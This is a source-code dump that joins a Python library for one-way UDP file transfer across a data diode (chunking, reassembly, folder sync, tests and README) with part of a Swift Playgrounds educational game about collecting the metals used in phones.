reassembled = tmp_path / 'payload_reassembled.txt' def get_file_by_hash(hash: bytes): return reassembled reassembler = FileReassembler(get_file_by_hash) with chunker.chunk_iterator() as chunk_it: chunks = list(chunk_it) for i, chunk in enumerate(chunks): # should only return True at the end assert reassembler.accept_chunk(chunk) == (i == len(chunks)-1) assert hash_file(PAYLOAD) == hash_file(reassembled), "File hashes should be the same" def test_wonky_network(tmp_path: Path): chunker = FileChunker(PAYLOAD, chunk_size=16*1024) reassembled = tmp_path / 'payload_reassembled.txt' def get_file_by_hash(hash: bytes): return reassembled reassembler = FileReassembler(get_file_by_hash) # we're gonna test our "reassemble out-of-order with some lost packet theory" with chunker.chunk_iterator() as chunk_it: chunks = list(chunk_it) # duplicate chunks 3 times to stimulate redundancy transmit = chunks + chunks + chunks # random-sort to stimulate out-of-orderness random.shuffle(transmit) # remove the 1st chunk transmit = transmit[1:] # send it into our reassembler for chunk in chunks: reassembler.accept_chunk(chunk) assert hash_file(PAYLOAD) == hash_file(reassembled), "File hashes should be the same" import os def test_large_file(tmp_path: Path): chunker = FileChunker(BIG_FILE) copy = tmp_path / 'big.bin' def get_file_by_hash(hash: bytes): return copy reassembler = FileReassembler(get_file_by_hash) print('Test file created... beginning test') with chunker.chunk_iterator() as chunk_it: for i,chunk in enumerate(chunk_it): if i % 100 == 0: print(f'Sent {i} chunks') reassembler.accept_chunk(chunk, check_for_complete=False) assert BIG_HASH == hash_file(copy), "File hashes should be the same"<file_sep>class bitset(): def __init__(self, len: int) -> None: self.len = len self.bytes = bytearray(calc_bitset_length(len)) self.zeros = 0 def __getitem__(self, key: int): the_byte = self.bytes[key // 8] return (the_byte & (1 << (key % 8))) != 0 def __setitem__(self, key: int, value: bool): original_value = self[key] if value: self.bytes[key // 8] |= 1 << (key % 8) else: self.bytes[key // 8] &= ~(1 << (key % 8)) if original_value == False and value == True: self.zeros += 1 elif original_value == True and value == False: self.zeros -= 1 def __len__(self): return self.zeros def calc_bitset_length(len: int): return (len + 7) // 8<file_sep>[tool.poetry] name = "diode-ftp" version = "0.1.0" description = "" authors = ["saltyJeff <<EMAIL>>"] [tool.poetry.dependencies] python = "^3.8" [tool.poetry.dev-dependencies] pytest = "^5.2" [tool.poetry.scripts] sync-sender = "diode_ftp.cli:start_folder_sender" sync-receiver = "diode_ftp.cli:start_folder_receiver" [build-system] requires = ["poetry>=0.12"] build-backend = "poetry.masonry.api"<file_sep># Diode File Transfer Protocol This library aims to implement a network fault-resistant file transfer protocol across a [data diode](https://en.wikipedia.org/wiki/Unidirectional_network) Created for the UCLA BALBOA project, where data files need to be downlinked from a baloon (in the sky) to the ground, with nothing in between # Overview * We want to be able to send a file across a data diode, and re-assemble it on the other side - The file can be a variety of types (video, binary proprietary format, text) * The physical layer is somewhat lossy, but does have link-layer error detection * Network flow works only one way, so we can't use anything TCP-like * The custom layer works at the UDP layer, so we must also use UDP - This means no in order or packet recieved guarantees - We do get a checksum to ensure the packet isn't too corrupted # Protocol ## Sender-side 1. Split the original file into chunks of a user-defined size 2. At the start of each chunk of data, prepend the following header (big endian): - SHA1 of the entire original file data (20 bytes) - The offset of this chunk's data with respect to the original file data in bytes (8 bytes) - The index (0-indexed) of this chunk (4 bytes) - The total number of chunks (4 bytes) - **this comes out to a constant 36 bytes of overhead** 3. Send the chunk, with both its header and data ## Receiver-side 1. Recieve a chunk 2. Find the user-provided temporary path for the chunk's hash, `TMP_FILE` 3. Write in the chunk's data into `TMP_FILE` at the chunk's specified offset 4. Hash `TMP_FILE`, and return if `hash(TMP_FILE) == chunk_hash` ## WHY R U STILL USING SHA-1 We apply file hashes only to identify files, not as a security measure. We are only interested in hashes being distinct enough to prevent reasonable duplicates, and SHA1 has been enough to serve git well. ## Features Overhead is given by `HEADER_SZ * # of Chunks`, or equivalently: `36 * ORIGINAL_SIZE / (CHUNK_SIZE - 36)`. The number of chunks is saved as a `uint_32`, which can support up to 4-ish billion chunks. The max supported file size is dependent on your chunk size. The user can specify the size of each chunk. For custom communications infrastructure like ours, this allows the user to ensure each chunk can fit within a link-layer frame Chunks can be transmitted multiple times, for redundancy A possible (unimplemented) duplicate resolution algorithm is below: 1. Use the hash to identify which file the chunk belongs to 2. Use the offset and size to read the existing data stored in the file: - If the file is new or the chunk has never been written: - Write the chunk into the correct position - If the CRC of the existing data is the same as the CRC of the chunk's data: - Drop the chunk, it's a duplicate - Else - Store the chunk in the `sus` set 3. Once you believe you've recieved a all the frames, substitute each possible candidate in the `sus` bin until the file and its hash match Obviously, this algorithm will add `O(2^n)` complexity where `n = |sus|`. Because of the nature of our network layer (UDP will kick any corrupted frames), the current implementation will just write any new chunks that come in ## Drawbacks * This protocol doesn't take into consideration that the transmitted chunk has been corrupted or improperly tampered * Relies on other layers to provide framing and error detection: - We will be transmitting using UDP (which has checksum) and a custom radio link-layer (which has forward error correction and provides framing) * Can't guarantee correctness, but this is a limitation of the fact that data is unidirectional ## Usage ```python from diode_ftp import FileChunker, FileReassembler, CHUNK_HEADER_SIZE # on the transmit side transmitFile = 'i_want_to_TX_this.txt' chunker = FileChunker(transmitFile, chunk_size=1024) with chunker.chunk_iterator() as chunk_it: for chunk in chunk_it: send(chunk) # replace with whatever your actual networking send() function is # on the receive side def get_file_by_hash(hash: bytes): return f'where_i_want_the_file_to_be/{hash.hex()}.reassemble' reassembler = FileReassembler(get_file_by_hash) for chunk in network_recieve(): # replace with however you're recieving the chunks reassembler.accept_chunk(chunk) # will return True if the file is completed by the new chunk ``` # Higher-Level folder synchronization At a higher level, we can use the protocol to synchronize folders on the remote (sender) and local (receiver) targets. ## Sender-side 1. Every N seconds, perform a glob relative to `sync_folder` and get a list of `new_files` - In the provided implementation, this is done using the default Rsync algorithm - In the provided implementation, create a file named `.diodeinclude` at the root of the directory with a list of rules for files you would like sync'd. ``` # .diodeinclude *.txt ``` will send only text files. The file format is the same as `.gitignore`, except this is an inclusionary, not exclusionary, file. If this file does not exist, all files will be sent will be sent. 2. Tar `new_files` into a single file, and chunkify it 3. Send the chunks over the network ## Receiver-side 1. Receive the chunks and reassemble them as per the protocol above into a tar 2. If the file is complete: - Untar the file, relative to `sync_folder` ## Usage We provide 2 high-level classes, `FolderSender` and `FolderReceiver`. Generate documentation to see how they are used and created. You can also check the test folder to see how to set them up in different threads # Other Notes ## Generating source code documentation: You can generate source code docs with [pdoc3](https://pdoc3.github.io/pdoc/) (`pip install pdoc3`): ``` pdoc --html diode_ftp -o docs ``` <file_sep>__version__ = '0.1.0' from diode_ftp.FileChunker import FileChunker from diode_ftp.FileReassembler import FileReassembler from diode_ftp.header import HEADER_SIZE, hash_file from diode_ftp.FolderSender import FolderSender from diode_ftp.FolderReceiver import FolderReceiver<file_sep>import asyncio from diode_ftp.FolderReceiver import FolderReceiver from diode_ftp.header import hash_file from diode_ftp.FolderSender import FolderSender from pathlib import Path import os import threading import logging logging.basicConfig(level=logging.INFO) PARENT = Path(__file__).parent PAYLOAD = PARENT / 'payload.txt' PAYLOAD_HASH = hash_file(PAYLOAD) TEST_PORT_START = 8989 def create_big_file(path: os.PathLike, kilobytes: int): path = Path(path) path.touch() with open(path, 'ab') as file: for _ in range(kilobytes): contents = os.urandom(1024) file.write(contents) def get_available_port(): global TEST_PORT_START port = TEST_PORT_START TEST_PORT_START += 1 return port BIG_FILE = PARENT / '.tmp_big.bin' if not BIG_FILE.exists(): create_big_file(BIG_FILE, 10) BIG_HASH = hash_file(BIG_FILE)<file_sep>from diode_ftp.header import hash_file from diode_ftp.FolderSender import FolderSender from diode_ftp.FolderReceiver import FolderReceiver from pathlib import Path from shutil import Error, copy2 from tests.common import * import asyncio import time def create_send_rcv_folder(root: Path): send = root / 'send' rcv = root / 'rcv' send.mkdir() rcv.mkdir() print(send, rcv) return send, rcv def do_sync_in_bkgd(send: Path, rcv: Path): port = get_available_port() sender = FolderSender(send, send_to=('127.0.0.1', port)) receiver = FolderReceiver(rcv) def sender_thread(): sender.perform_sync() def receiver_thread(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) t = loop.create_datagram_endpoint(lambda: receiver, local_addr=('0.0.0.0', port)) loop.run_until_complete(t) loop.run_forever() send_proc = threading.Thread(target=receiver_thread, daemon=True) rcv_proc = threading.Thread(target=sender_thread, daemon=True) send_proc.start() rcv_proc.start() def test_folder_sync(tmp_path: Path): send, rcv = create_send_rcv_folder(tmp_path) copy2(PAYLOAD, send / 'payload.txt') copy2(BIG_FILE, send / 'big.bin') do_sync_in_bkgd(send, rcv) start = time.monotonic() while time.monotonic() - start < 60: # give it up to 60 seconds to sync try: assert hash_file(rcv / 'payload.txt') == PAYLOAD_HASH, "File hashes should be the same" assert hash_file(rcv / 'big.bin') == BIG_HASH, "File hashes should be the same" return except Exception as e: pass # print('Could not check hashes because of: ', e) assert False, "timeout for the folder sync to complete" def test_diodeinclude(tmp_path: Path): send, rcv = create_send_rcv_folder(tmp_path) copy2(PAYLOAD, send / 'payload.txt') copy2(PAYLOAD, send / 'payload.md') # only send the markdown file (send / '.diodeinclude').write_text('*.md') do_sync_in_bkgd(send, rcv) start = time.monotonic() while time.monotonic() - start < 60: # give it up to 60 seconds to sync try: assert hash_file(rcv / 'payload.md') == PAYLOAD_HASH, "File hashes should be the same" assert not (rcv / 'payload.txt').exists(), "We should not send *.txt files" return except Exception as e: pass # print('Could not check hashes because of: ', e) assert False, "timeout for the folder sync to complete"<file_sep>from diode_ftp.header import HEADER_SIZE, hash_file, parse_header from typing import Callable, Union from os import PathLike class FileReassembler(): """Reassembles a chunked file""" def __init__(self, get_file_by_hash: Callable[[bytes], PathLike]) -> None: """Instantiates a new File Reassembler Args: get_file_by_hash (Callable[[bytes], PathLike]): A function which will return a file path for a given hash. The file will be opened in 'a+b' mode. You must ensure the parent director(ies) exist """ self.get_file_by_hash = get_file_by_hash def accept_chunk(self, chunk: Union[bytes, memoryview], check_for_complete=True): """Accepts a chunk and writes it to the associated file Args: chunk (bytes): The chunk check_for_complete (bool, optional): Set to True if you want the method to return True if the file is completed by this chunk. Defaults to True. Raises: RuntimeError: The chunk is too small Returns: bool: Always False if check_for_complete is False. Otherwise, True if the file is completed by this chunk """ if len(chunk) < HEADER_SIZE: raise RuntimeError('Recieved a chunk without a header') # use memoryview so we don't allocate any new memory if isinstance(chunk, bytes): chunk = memoryview(chunk) header = parse_header(chunk[0:HEADER_SIZE]) data = chunk[HEADER_SIZE:] path = self.get_file_by_hash(header.hash) # TODO: this code naively just writes whatever data it recieves. We can optimize layer with open(path, mode='a+b') as f: f.seek(header.offset) f.write(data) return check_for_complete and (hash_file(path) == header.hash)<file_sep>import argparse from time import sleep from diode_ftp import FolderSender, FolderReceiver import os import asyncio from logging import INFO, basicConfig basicConfig(level=INFO) def start_folder_sender(): parser = argparse.ArgumentParser(description='Starts a folder sender') parser.add_argument('-f', '--folder', default=os.getcwd(), help='The folder to sync') parser.add_argument('-d', '--dest', default='127.0.0.1:8963', help='The destination host:port') parser.add_argument('-c', '--chunk-size', default=1400, type=int, help='The maximum size of each chunk') parser.add_argument('-l', '--limit', default=200000, type=int, help='The maxmimum bytes per second') parser.add_argument('-r', '--repeats', default=2, type=int, help='Number of times to duplicate each chunk') parser.add_argument('-i', '--interval', default=5, type=int, help='Seconds to wait between checking the folder for new files') args = parser.parse_args() send_host, send_port = args.dest.split(':') sender = FolderSender(args.folder, (send_host, int(send_port)), max_bytes_per_second=args.limit, transmit_repeats=args.repeats, chunk_size=args.chunk_size) while True: sender.perform_sync() sleep(args.interval) def start_folder_receiver(): parser = argparse.ArgumentParser(description='Starts a folder sender') parser.add_argument('-f', '--folder', default=os.getcwd(), help='The folder to sync') parser.add_argument('-k', '--keep-tars', default=False, action='store_true', help='Set flag to truncate files which are sent') parser.add_argument('-p', '--port', default=8963, help='port to listen to') args = parser.parse_args() def make_receiver(): return FolderReceiver(args.folder, delete_tars=not args.keep_tars) while True: loop = asyncio.get_event_loop() t = loop.create_datagram_endpoint(make_receiver, local_addr=('0.0.0.0', args.port)) loop.run_until_complete(t) # Server starts listening loop.run_forever()<file_sep>from os import PathLike import hashlib import struct from typing import NamedTuple, Union HEADER_FMT = '!20sQII' HEADER_STRUCT = struct.Struct(HEADER_FMT) HEADER_SIZE = HEADER_STRUCT.size Header = NamedTuple('DiodeFTPHeader', [ ('hash', bytes), ('offset', int), ('index', int), ('total', int)]) def create_header(header: Header): return HEADER_STRUCT.pack(header.hash, header.offset, header.index, header.total) def parse_header(header: bytes): hash, offset, index, total = HEADER_STRUCT.unpack(header) return Header(hash, offset, index, total) def hash_file(path: Union[PathLike, str]): """hashes a file Args: path (PathLike): The file to hash Returns: bytes: the hash of the file """ # see: https://stackoverflow.com/questions/22058048/hashing-a-file-in-python BUF_SIZE = 8 * 1024 sha1 = hashlib.sha1() with open(path, 'rb') as f: while True: data = f.read(BUF_SIZE) if not data: break sha1.update(data) return sha1.digest()
fa6d0de3761ad183f8099938ca5326d059d13a44
[ "TOML", "Python", "Markdown" ]
13
Python
saltyJeff/diode-ftp
8125d62633182c9d22863e54865727138dd5cef2
50cd67e09f42edcab637ed7b45d048d9b1dfff38
refs/heads/main
<file_sep>/*: # Welcome ! Hello, I'm Alvin from Indonesia. This playground is a simple game to explore and learn about metals and minerals that used to power our phone. The purpose is to help students who like to play games while exploring general knowledge. ## How to Play * Tap anywhere to continue the conversation dialogs * Tap anywhere to move the player * Move the player to any object to interact * Tap list button to see the list * Tap bag button to see inventory * Tap the circle indicator to interact with the materials inside the mine * Happy Exploring */ import PlaygroundSupport import SpriteKit let sceneView = SKView(frame: CGRect(x:0 , y:0, width: 640, height: 480)) let scene = StartScene(size: sceneView.frame.size) sceneView.ignoresSiblingOrder = true sceneView.presentScene(scene) PlaygroundPage.current.liveView = sceneView PlaygroundPage.current.needsIndefiniteExecution = true <file_sep>import Foundation import SpriteKit public class DoorNode: SKNode { public init(size: CGSize, sceneSize: CGSize) { super.init() let door = SKSpriteNode(imageNamed: "Door") door.name = "Door" door.position = (CGPoint(x: sceneSize.width - 20, y: (size.height / 2) + 140)) door.size = CGSize(width: size.width, height: size.height) door.zPosition = 1 door.physicsBody = SKPhysicsBody(rectangleOf: door.size) door.physicsBody?.isDynamic = false door.physicsBody?.allowsRotation = false door.physicsBody?.affectedByGravity = false addChild(door) } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import UIKit import AVFoundation var bgSoundURI: URL? var bgAudioPlayer = AVAudioPlayer() extension UIView { func playBgSound(){ bgSoundURI = URL(fileURLWithPath: Bundle.main.path(forResource: "BGM", ofType: "mp3") ?? "") do { guard let uri = bgSoundURI else {return} bgAudioPlayer = try AVAudioPlayer(contentsOf: uri) bgAudioPlayer.numberOfLoops = -1 bgAudioPlayer.play() } catch { print("Can't play BGM") } } func stopBgSound() { bgAudioPlayer.stop() } } <file_sep>import PlaygroundSupport import Foundation import SpriteKit public class ResultScene: SKScene { public override init(size: CGSize) { super.init(size: size) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } public override func didMove(to view: SKView) { DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { self.backgroundColor = .white let phoneImage = UIImageView() phoneImage.image = UIImage(named: "Phone") self.view?.addSubview(phoneImage) phoneImage.centerYAnchor.constraint(equalTo: self.view!.centerYAnchor).isActive = true phoneImage.leadingAnchor.constraint(equalTo: self.view!.leadingAnchor, constant: 50).isActive = true phoneImage.widthAnchor.constraint(equalToConstant: 150).isActive = true phoneImage.heightAnchor.constraint(equalToConstant: 320).isActive = true phoneImage.translatesAutoresizingMaskIntoConstraints = false let heading = UILabel() heading.text = "You Obtained" self.view?.addSubview(heading) heading.topAnchor.constraint(equalTo: self.view!.topAnchor, constant: 30).isActive = true heading.leadingAnchor.constraint(equalTo: phoneImage.trailingAnchor, constant: 25).isActive = true heading.translatesAutoresizingMaskIntoConstraints = false let comLabel = UILabel() comLabel.font = UIFont.boldSystemFont(ofSize: 21) comLabel.text = "Communication Tool" self.view?.addSubview(comLabel) comLabel.topAnchor.constraint(equalTo: heading.bottomAnchor, constant: 15).isActive = true comLabel.leadingAnchor.constraint(equalTo: phoneImage.trailingAnchor, constant: 25).isActive = true comLabel.translatesAutoresizingMaskIntoConstraints = false let mobLabel = UILabel() mobLabel.text = "Mobile Phone" self.view?.addSubview(mobLabel) mobLabel.topAnchor.constraint(equalTo: comLabel.bottomAnchor, constant: 5).isActive = true mobLabel.leadingAnchor.constraint(equalTo: phoneImage.trailingAnchor, constant: 25).isActive = true mobLabel.translatesAutoresizingMaskIntoConstraints = false let descLabel = UILabel() descLabel.numberOfLines = 0 descLabel.textAlignment = .justified descLabel.font = UIFont.systemFont(ofSize: 14) descLabel.text = "Mobile phone is a wireless handheld device that allows users to make and receive calls. While the earliest generation of mobile phones could only make and receive calls, today’s mobile phones do a lot more, accommodating web browsers, games, cameras, video players, navigational systems and social media. \n\nMobile phone has become basic human need that almost everyone has. Various people use mobile phone to communicate and exchange information. Therefore, as the users, we must be wise in using it. For example, instead of spreading hate or false information, we can use it to broaden our knowledge and connection, hone skills and develop ourselves." self.view?.addSubview(descLabel) descLabel.topAnchor.constraint(equalTo: mobLabel.bottomAnchor, constant: 25).isActive = true descLabel.leadingAnchor.constraint(equalTo: phoneImage.trailingAnchor, constant: 25).isActive = true descLabel.trailingAnchor.constraint(equalTo: self.view!.trailingAnchor, constant: -25).isActive = true descLabel.translatesAutoresizingMaskIntoConstraints = false let button = UIButton() button.setTitle("Play Again", for: .normal) button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 14) button.titleLabel?.textColor = .white button.backgroundColor = .systemYellow button.layer.masksToBounds = true button.layer.borderColor = UIColor.white.cgColor button.layer.borderWidth = 2.0 button.layer.cornerRadius = 10 button.addTarget(self, action: #selector(self.buttonAction), for: .touchUpInside) self.view?.addSubview(button) button.topAnchor.constraint(equalTo: descLabel.bottomAnchor, constant: 25).isActive = true button.leadingAnchor.constraint(equalTo: phoneImage.trailingAnchor, constant: 25).isActive = true button.widthAnchor.constraint(equalToConstant: 100).isActive = true button.heightAnchor.constraint(equalToConstant: 45).isActive = true button.translatesAutoresizingMaskIntoConstraints = false } } @objc func buttonAction(sender: UIButton) { for view in self.view!.subviews { view.removeFromSuperview() } self.view?.stopBgSound() let scene = StartScene(size: self.frame.size) let transition:SKTransition = SKTransition.fade(withDuration: 1) self.view?.presentScene(scene, transition: transition) } } <file_sep>import Foundation struct Dialog { let id: Int let speaker1: String let speaker2: String let imageName1: String let imageName2: String let dialog: String } struct DialogData { let dialogs: [Dialog] = [ Dialog(id: 1, speaker1: "Ryo", speaker2: "", imageName1: "Player", imageName2: "Scientist", dialog: "Hi <NAME> what are you doing?"), Dialog(id: 2, speaker1: "", speaker2: "<NAME>", imageName1: "Player", imageName2: "Scientist", dialog: "Ah! Ryo, you show up at the right time. Today I want to create the greatest tools that can help humanity. But I'm still missing some materials. Can you help me collect it?"), Dialog(id: 3, speaker1: "Ryo", speaker2: "", imageName1: "Player", imageName2: "Scientist", dialog: "Sure, how can I help you?"), Dialog(id: 4, speaker1: "", speaker2: "<NAME>", imageName1: "Player", imageName2: "Scientist", dialog: "You can go inside the mine, and collect everything in the list. I'll wait for you in the other side"), Dialog(id: 5, speaker1: "Ryo", speaker2: "", imageName1: "Player", imageName2: "Scientist", dialog: "Mr. Scen, I've got all the materials you need."), Dialog(id: 6, speaker1: "", speaker2: "<NAME>", imageName1: "Player", imageName2: "Scientist", dialog: "Great. Now let's start the machine and put all the materials"), Dialog(id: 7, speaker1: "", speaker2: "Machine", imageName1: "Player", imageName2: "Machine", dialog: "Rrrr... Rrrrr...."), ] } <file_sep>import Foundation import SpriteKit public class FloorNode: SKNode { public init(size: CGSize) { super.init() let floor = SKSpriteNode(imageNamed: "Floor") let imageHeight: CGFloat = 150 floor.position = (CGPoint(x: size.width / 2, y: (imageHeight / 2))) floor.size = CGSize(width: size.width, height: imageHeight) floor.physicsBody = SKPhysicsBody(rectangleOf: CGSize(width: floor.size.width, height: floor.size.height - 10)) floor.physicsBody?.isDynamic = false floor.physicsBody?.allowsRotation = false floor.physicsBody?.affectedByGravity = false addChild(floor) } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import PlaygroundSupport import Foundation import SpriteKit public class StartScene: SKScene, SKPhysicsContactDelegate { var background = SKSpriteNode(imageNamed: "OutsideBG") var player = PlayerNode() var scientist = ScientistNode() var dialogView = DialogView() var startButton = UIButton() var matListView = MaterialListView() var matListButton: MaterialListImageButton? var sceneSize: CGSize var isCanMove = false var dialogId = 0 public override init(size: CGSize) { sceneSize = size super.init(size: size) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } public override func didMove(to view: SKView) { physicsWorld.gravity = CGVector(dx: 0, dy: -5.0) physicsWorld.contactDelegate = self background.zPosition = -1 background.position = CGPoint(x: frame.size.width / 2, y: frame.size.height / 2) background.isUserInteractionEnabled = false addChild(background) self.addChild(FloorNode(size: sceneSize)) self.addChild(DoorNode(size: CGSize(width: 130, height: 100), sceneSize: sceneSize)) self.addChild(player) scientist.position = CGPoint(x: 250, y: 100) scientist.xScale = -1 self.addChild(scientist) startButton = UIButton(frame: CGRect(x: 0, y: 0, width: 180, height: 75)) startButton.center = self.view!.center startButton.center.y = self.view!.center.y - 30 startButton.setTitle("START", for: .normal) startButton.titleLabel?.font = UIFont.boldSystemFont(ofSize: 24) startButton.titleLabel?.textColor = .white startButton.backgroundColor = .systemYellow startButton.layer.masksToBounds = true startButton.layer.borderColor = UIColor.white.cgColor startButton.layer.borderWidth = 2.0 startButton.layer.cornerRadius = 10 startButton.addTarget(self, action: #selector(startButtonAction), for: .touchUpInside) DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { self.view?.addSubview(self.startButton) } } @objc func startButtonAction(sender : UIButton) { startButton.removeFromSuperview() setupDialog() self.view?.playBgSound() } func setupDialog() { dialogView.center = self.view!.center dialogView.isUserInteractionEnabled = true self.view?.addSubview(dialogView) let tap: UITapGestureRecognizer = UITapGestureRecognizer(target: self, action: #selector(touchDialogView)) dialogView.addGestureRecognizer(tap) emitDialogs() } @objc func touchDialogView() { emitDialogs() } func emitDialogs() { dialogId += 1 if dialogId <= 4 { let dialogData = DialogData().dialogs let filtered = dialogData.filter { $0.id == dialogId } if filtered.count > 0 { dialogView.dialogLabel.text = filtered[0].dialog dialogView.speaker1.text = filtered[0].speaker1 dialogView.speaker2.text = filtered[0].speaker2 dialogView.imageView1.image = UIImage(named: filtered[0].imageName1) dialogView.imageView2.image = UIImage(named: filtered[0].imageName2) } } else { dialogView.removeFromSuperview() isCanMove = true setupMatListButton() setupMatList() } } func setupMatListButton() { matListButton = MaterialListImageButton(frame: CGRect(x: 20, y: (self.view?.frame.height)! - 60, width: 40, height: 40)) matListButton!.addTarget(self, action: #selector(matListButtonAction), for: .touchUpInside) self.view?.addSubview(matListButton!) } @objc func matListButtonAction(sender : UIButton) { if matListView.isDescendant(of: self.view!) == true { matListView.removeFromSuperview() } else { setupMatList() } } func setupMatList() { matListView = MaterialListView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 300, height: 400)) matListView.center = self.view!.center self.view?.addSubview(matListView) } public override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) { let touch = touches.first! let location = touch.location(in: self) if dialogView.isDescendant(of: self.view!) { emitDialogs() } if isCanMove && !matListView.isDescendant(of: self.view!) { if matListView.isDescendant(of: self.view!) == false { player.movePlayer(location, frame) } } } public func didBegin(_ contact: SKPhysicsContact) { if contact.bodyA.node?.name == "Player" && ((contact.bodyB.node?.name?.contains("Door")) == true) { collisionBetween(player: contact.bodyA.node!, door: contact.bodyB.node!) } else if contact.bodyB.node?.name == "Player" && ((contact.bodyA.node?.name?.contains("Door")) == true){ collisionBetween(player: contact.bodyB.node!, door: contact.bodyA.node!) } } func collisionBetween(player: SKNode, door: SKNode) { player.removeFromParent() for view in self.view!.subviews { view.removeFromSuperview() } let scene = MineScene(size: self.frame.size) let transition:SKTransition = SKTransition.fade(withDuration: 1) self.view?.presentScene(scene, transition: transition) } } <file_sep>import Foundation import SpriteKit public class ScientistNode: SKNode { public init(physicBody: Bool = false) { super.init() let scientist = SKSpriteNode(imageNamed: "Scientist") scientist.name = "Scientist" scientist.position = CGPoint(x: 100, y: 70) scientist.size = CGSize(width: 50, height: 50) if physicBody { scientist.physicsBody = SKPhysicsBody(rectangleOf: scientist.size) scientist.physicsBody?.allowsRotation = false scientist.physicsBody?.affectedByGravity = true scientist.physicsBody!.contactTestBitMask = scientist.physicsBody!.collisionBitMask } addChild(scientist) } public required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import Foundation import SpriteKit public class MineScene: SKScene, SKPhysicsContactDelegate { var player: PlayerNode! var inventoryView: InventoryView? var door: DoorNode? var gold: MaterialNode? var lithium: MaterialNode? var aluminium: MaterialNode? var cobalt: MaterialNode? var silver: MaterialNode? var plastic: MaterialNode? var copper: MaterialNode? var lead: MaterialNode? var nickel: MaterialNode? var matListView = MaterialListView() var matListButton: MaterialListImageButton? let obtainedLabel = UILabel() var obtainedTimer = Timer() var sceneSize: CGSize var inventory: [String] = [] var level = 1 var totalRaws = 0 public override init(size: CGSize) { sceneSize = size super.init(size: size) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } public override func didMove(to view: SKView) { backgroundColor = .darkGray physicsWorld.gravity = CGVector(dx: 0, dy: -5.0) physicsWorld.contactDelegate = self door = DoorNode(size: CGSize(width: 130, height: 100), sceneSize: sceneSize) self.addChild(FloorNode(size: sceneSize)) self.addChild(CeilingNode(size: sceneSize)) setupLevel() setupInventoryButton() setupMatListButton() obtainedLabel.text = "👇🏻 You obtained new material" obtainedLabel.textColor = .white obtainedLabel.isHidden = true self.view?.addSubview(obtainedLabel) obtainedLabel.leadingAnchor.constraint(equalTo: self.view!.leadingAnchor, constant: 25).isActive = true obtainedLabel.bottomAnchor.constraint(equalTo: self.view!.bottomAnchor, constant: -80).isActive = true obtainedLabel.translatesAutoresizingMaskIntoConstraints = false } func showObtainedLabel() { obtainedLabel.isHidden = false obtainedTimer.invalidate() obtainedTimer = Timer.scheduledTimer(withTimeInterval: 5.0, repeats: false, block: { (timer) in self.obtainedLabel.isHidden = true }) } func setupLevel() { door?.removeFromParent() player = PlayerNode() self.addChild(player) let initialY: CGFloat = (self.view?.bounds.height)! if level == 1 { totalRaws = 4 lithium = MaterialNode( nodeName: "Lithium", size: CGSize(width: 65, height: 65), position: CGPoint(x: 100, y: initialY - (65 / 2)) ) self.addChild(lithium!) gold = MaterialNode( nodeName: "Gold", size: CGSize(width: 85, height: 60), position: CGPoint(x: (frame.size.width / 2) - 30, y: initialY - (60 / 2) + 10) ) self.addChild(gold!) aluminium = MaterialNode( nodeName: "Aluminium", size: CGSize(width: 85, height: 60), position: CGPoint(x: (frame.size.width / 2) + 100, y: (60 / 2) + 140), physicBody: false ) self.addChild(aluminium!) cobalt = MaterialNode( nodeName: "Cobalt", size: CGSize(width: 60, height: 65), position: CGPoint(x: frame.size.width - 140, y: initialY - (65 / 2)) ) self.addChild(cobalt!) } else if level == 2 { totalRaws = 5 silver = MaterialNode( nodeName: "Silver", size: CGSize(width: 85, height: 60), position: CGPoint(x: 100, y: initialY - (60 / 2)) ) self.addChild(silver!) plastic = MaterialNode( nodeName: "Plastic", size: CGSize(width: 30, height: 20), position: CGPoint(x: 200, y: (20 / 2) + 100), physicBody: false, skipRaw: true ) self.addChild(plastic!) copper = MaterialNode( nodeName: "Copper", size: CGSize(width: 85, height: 60), position: CGPoint(x: (frame.size.width / 2) + 100, y: (60 / 2) + 125), physicBody: false ) self.addChild(copper!) lead = MaterialNode( nodeName: "Lead", size: CGSize(width: 85, height: 60), position: CGPoint(x: (frame.size.width / 2) - 30, y: initialY - (60 / 2) + 10) ) self.addChild(lead!) nickel = MaterialNode( nodeName: "Nickel", size: CGSize(width: 60, height: 65), position: CGPoint(x: frame.size.width - 140, y: initialY - (65 / 2)) ) self.addChild(nickel!) } } func setupInventoryButton() { let inventoryButton = InventoryImageButton(frame: CGRect(x: 20, y: (self.view?.frame.height)! - 60, width: 40, height: 40)) inventoryButton.addTarget(self, action: #selector(inventoryButtonAction), for: .touchUpInside) self.view?.addSubview(inventoryButton) } @objc func inventoryButtonAction(sender : UIButton) { if inventoryView?.isDescendant(of: self.view!) == true { inventoryView?.removeFromSuperview() } else { setupInventory() } } func setupInventory() { inventoryView = InventoryView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 500, height: 400), pInventory: inventory) inventoryView?.center = self.view!.center self.view?.addSubview(inventoryView!) } func setupMatListButton() { matListButton = MaterialListImageButton(frame: CGRect(x: 80, y: (self.view?.frame.height)! - 60, width: 40, height: 40)) matListButton!.addTarget(self, action: #selector(matListButtonAction), for: .touchUpInside) self.view?.addSubview(matListButton!) } @objc func matListButtonAction(sender : UIButton) { if matListView.isDescendant(of: self.view!) == true { matListView.removeFromSuperview() } else { setupMatList() } } func setupMatList() { matListView = MaterialListView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 300, height: 400)) matListView.center = self.view!.center self.view?.addSubview(matListView) } public override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { let touch = touches.first! let location = touch.location(in: self) if inventoryView == nil || inventoryView?.isDescendant(of: self.view!) == false { checkTouchedNode(location) } } public override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) { let touch = touches.first! let location = touch.location(in: self) let touchedNode = self.nodes(at: location) if inventoryView == nil || 